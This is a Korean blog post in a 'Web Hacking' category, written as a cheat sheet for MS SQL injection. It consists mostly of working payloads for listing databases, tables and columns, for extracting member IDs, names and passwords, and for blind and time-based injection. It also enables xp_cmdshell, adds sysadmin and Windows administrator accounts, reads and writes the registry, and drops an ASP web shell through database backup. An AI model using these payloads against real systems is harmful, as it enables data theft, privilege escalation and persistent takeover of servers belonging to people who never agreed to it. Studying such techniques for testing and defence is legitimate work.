MS SQL Injection

2016. 2. 25. 23:03·Web Hacking

MS SQL Injection

정보수집

1. 버전 체크
    and 1=(select @@VERSION)

2. DB 확인 : DB가 존재하면 에러출력, 존재하지 않으면 정상작동
    sysdatabases dbid 1-6은 시스템db, 7~ 사용자db
    and 1=(select name from master.dbo.sysdatabases where dbid=7)

3. 현재 DB명 조회 :
    and 0<>db_name()

4. 현재 유저명 조회 :
    and user>0



데이터베이스 구조

5. 현재 테이블 조회 :
    
' having 1=1--

6. 현재 컬럼명 조회 :
    
' group by users.id having 1=1--

7. 컬럼 타입 조회 : 
    ' union select sum(컬럼명) from 테이블명--

5. 권한 체크 : 
    1) 권한종류:sysadmin,dbcreator,diskadmin,processadmin,serveradmin,setupadmin,securityadmin
        and 1=(IS_SRVROLEMEMBER('sysadmin'))
   
    2) 
해당 데이터베이스 권한
        and 1=(IS_MEMBER('db_owner'))

    3) declare, 사용여부 
        
;declare @a int;--

6. 테이블 조회 :
    특정DB에서 사용자가 만든 테이블명 불러오기(top 행 증가시켜서 확인)
    ' and 0<>(select top 1 name from (select top 2 name from .dbo.sysobjects where xtype='U' order by name asc) as table1 order by name desc)--

7. 테이블 아이디 조회 :
    ' and 0<>(select count(*) from .dbo.sysobjects where xtype='U' and name='테이블이름' and uid>(str(id)))--

8. 테이블의 컬럼명 조회 : 

 ' and 1=(select top 1 name from .dbo.syscolumns where name not in (select  top 0 name from .dbo.syscolumns where id=357576312) and id=357576312)--

9.  데이터 조회 : 
 하나의 데이터 조회 : ' and 1 in (select '$'+convert(varchar(255),m_id) from member_info)--
 여러 데이터 한 Row씩 조회 : 
' and 1 in (select top 1'$'+convert(varchar(255),'id:'+m_id+' name:'+m_name+' pw:'+m_pwd+' ip:'+login_ip+' level:'+secu_level) from member_info where m_id not in(select top 0 m_id from member_info))--

10. Blind SQL Injection :
테이블의 데이터의 한 글자씩 가져와 아스키코드로 변환 후 비교하여 참/거짓을 통한 데이터 조회
    ascii(substring((select top 1 m_id from member_info),1,1))=49--

11. Time based SQL Injection : 
    waitfor delay '00:00:00' 라는 함수를 이용하여 참일 경우 딜레이되고, 거짓일 경우 바로 결과를 반환하여 참과 거짓을 판단.
    1';if ascii(substring((select top 1 m_id from member_info),1,1))=1 waitfor delay '00:00:01'-- 


저장 프로시저

xp_cmdshell 활성화

USE master

IF OBJECT_ID('xp_cmdshell') IS NULL
EXEC SP_ADDEXTENDEDPROC 'xp_cmdshell', 'xplog70.dll'

EXEC SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1
RECONFIGURE

EXEC SP_CONFIGURE 'XP_CMDSHELL', 1
RECONFIGURE


CREATE PROC 프로시저이름(@data int)AS update 테이블이름 set 컬럼이름=@data;

 

테스트 테이블 생성

 

저장프로시저 생성

 

프로시저 실행

1). 스토어프로시저를 이용한 계정 추가하기  

 ;exec master.dbo.sp_addlogin username;-- 

 ;exec master.dbo.sp_password null,username,password;-- 

 ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 

 ;exec master.dbo.xp_cmdshell 'net user username password /add';-- 

 ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 

 

2). dir 결과쿼리하기  

 ;create table dirs(paths varchar(100), id int) 

 ;insert dirs exec master.dbo.xp_dirtree 'c:'  

 ;and (select top 1 paths from dirs)>0 

 ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)


3). 디렉터리 정보 추출하기 및 웹쉘 실행   

 ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--  

 ;insert temp exec master.dbo.xp_availablemedia;--  

 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:';--  

 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:';--  

 ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:webindex.asp';--


4). 확장스토어 프로시저 공격

 xp_regenumvalues  

 ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionRun'   

 

xp_regread   

 ;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','CommonFilesDir'   

 

xp_regwrite   

 ;exec xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','ValueName','reg_sz','hello'

 xp_regdeletevalue 

 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','TestValueName'

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionTestkey'


5).mssql의 backup용 webshell 생성하기 

 use model 

 create table cmd(str image); 

 insert into cmd(str) values ('<% Dim oScript %>'); 

 backup database model to disk='c:l.asp'; 

 

6).webshell 

 use model  

 create table cmd(str image); 

 insert int cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');

 backup database model to disk='g:wwwtestl.asp';








'Web Hacking' 카테고리의 다른 글

Blind SQL Injection을 이용하여 한글가져오기!  (0) 2017.06.26
Oracle SQL Injection  (0) 2016.03.04
크로스사이트스크립팅(XSS)  (0) 2016.02.24
'Web Hacking' 카테고리의 다른 글
  • Blind SQL Injection을 이용하여 한글가져오기!
  • Oracle SQL Injection
  • 크로스사이트스크립팅(XSS)
zulloper
zulloper
blog
  • zulloper
    zulloper blog
    zulloper
  • 전체
    오늘
    어제
    • Catagory (48)
      • Web (2)
      • Web Hacking (4)
      • CVE (1)
      • Mobile (1)
      • Pwnable (1)
      • Reversing (5)
      • Redteam (2)
      • Python (0)
      • Wargame | CTF (30)
        • Webhacking.kr (25)
        • Suninatas (4)
        • Python Challenge (0)
        • Hack The Box (1)
      • 기타 (0)
  • 블로그 메뉴

    • Category
    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    mssql server injection
    action message format
    Export Address Table
    액션 메시지 포맷
    burp 인증서
    Process 숨기기
    oracle injection
    oracle db sql injection
    oracle db server sql injection
    hsts
    RAW 계산식
    윈디버거
    oracle-sql injection
    security header
    HTML smuggling
    WinDbg
    DLL 확인
    oracle sql injection
    RAW 값
    pwntools
    ms injetion
    mssql injection
    RAW 비례식
    스머글링
    http security header
    ms-sql server
    oracle db injection
    ms-sql injection
    web
    BurpSuite
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.1
zulloper
MS SQL Injection
상단으로

티스토리툴바